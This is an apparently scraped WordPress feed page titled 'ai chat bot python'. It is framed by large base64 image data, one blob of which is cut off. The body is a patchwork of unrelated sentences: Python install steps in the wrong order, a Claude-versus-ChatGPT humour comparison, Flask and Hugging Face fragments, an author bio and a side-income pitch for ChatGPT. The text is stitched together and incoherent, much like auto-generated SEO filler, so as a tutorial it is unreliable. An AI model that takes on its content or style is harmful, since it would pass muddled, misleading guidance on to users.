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" width="308px" alt="ai chat bot python"/></p>
<p><p>In an earlier tutorial, we demonstrated how you can train a custom AI chatbot using ChatGPT API. While it works quite well, we know that once your free OpenAI credit is exhausted, you need to pay for the API, which is not affordable for everyone. In addition, several users are not comfortable sharing confidential data with OpenAI.</p>
</p>
<p><h2>Querying Google In Python for ChatBot Replies</h2>
</p>
<p><p>In case you don’t know, Pip is the package manager for Python. Basically, it enables you to install thousands of Python libraries from the Terminal. Next, run the setup file and make sure to enable the checkbox for “Add Python.exe to PATH.” This is an extremely important step. After that, click on “Install Now” and follow the usual steps to install Python.</p>
</p>
<p><h3>How to Make a Chatbot in Python: Step by Step &#8211; Simplilearn</h3>
<p>How to Make a Chatbot in Python: Step by Step.</p>
<p>Posted: Wed, 13 Nov 2024 08:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMijgFBVV95cUxQYTlQc3RVZU80MXpNZ3RCTi1rNExoUUFaa3dqTGlsQ2MwbzRiYTIzWnkzaTdOaEhvQUNuaUR2YXh0WmttX0xHSUk0MGRLYk5lanlNYVZPSmIxemx5TzhNRGs1LV9mc3JKV2J0OEpUaTNva3Y5VWQzbmZNdUJPTjk0c0YtRjdBRVdOcVV0VzNn?oc=5' rel="nofollow">source</a>]</p>
</p>
<p><p>Both chatbots offered specific suggestions, a nuanced argument and give an overview of why this is important to consider but Claude is more honest and specific. Claude’s story was more funny throughout, focusing on slapstick rather than specific jokes. It also better understood the prompt, asking for a cat on a rock rather than talking to one. Where ChatGPT actually created one-liner jokes, Claude embedded the one-liners in the narrative. Next, I wanted to test two things —&nbsp;how well the AI can write humor and how well it can follow a simple story-length instruction.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.metadialog.com/wp-content/uploads/2023/07/the-result-of-integration-2-1.webp" width="305px" alt="ai chat bot python"/></p>
<p><p>By using the os.getenv() function, you can access the value of the environment variable you set earlier. Ensure the environment variable is correctly set before running your Python script. For those out of the loop, consider this key as your backstage pass, unlocking ChatGPT’s prowess directly in your chatbot interface.</p>
</p>
<p><p>We can achieve this with a new initial interface that appears every time you open the application. It&#8217;s a simple View with a button, a text view to enter the IP address and a small text label to give live information of what was happening to the user, as you can see above. As can be seen in the script, the pipeline instance allows us to select the LLM model that will be executed at the hosted node. This provides us with access to all those uploaded to the Huggingface website, with very diverse options such as code generation models, chat, general response generation, etc.</p>
</p>
<p><p>These agents serve a range of purposes, from grounded question/answering to interfacing with APIs or executing actions. Vector embedding serves as a form of data representation imbued with semantic information, aiding AI systems in comprehending data effectively while maintaining long-term memory. Fundamental to learning any new concept is grasping its essence and retaining it over time. To see if Anthropic&#8217;s claims hold up to real-world scrutiny I created a series of tests for both models and was shocked by the result. Alex McFarland is an AI journalist and writer exploring the latest developments in artificial intelligence. He has collaborated with numerous AI startups and publications worldwide.</p></p>
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		<title>ai chat bot python</title>
		<link>https://psp-wp-test.objectsdev.com/ai-chat-bot-python/</link>
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		<dc:creator><![CDATA[olaadmin]]></dc:creator>
		<pubDate>Fri, 31 Oct 2025 01:12:36 +0000</pubDate>
				<category><![CDATA[ai chat bot python]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=461359</guid>

					<description><![CDATA[Using Flask to Build a Rule-based Chatbot in Python Build A Simple Chatbot In Python With Deep Learning by Kurtis Pykes People are now using ChatGPT’s insane AI capabilities to make money on the side. If you’re also in the market for making some tidy profit with the chatbot, keep reading as we show you [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Using Flask to Build a Rule-based Chatbot in Python </p>
<h1>Build A Simple Chatbot In Python With Deep Learning by Kurtis Pykes</h1>
</p>
<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' 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width="307px" alt="ai chat bot python"/></p>
<p><p>People are now using ChatGPT’s insane AI capabilities to make money on the side. If you’re also in the market for making some tidy profit with the chatbot, keep reading as we show you how to do just that. Once you’re satisfied with how your bot is working, you can stop it by pressing Ctrl+C in the terminal window. Note that we also import the Config class from a config.py file. This is where we store our configuration parameters such as the API tokens and keys.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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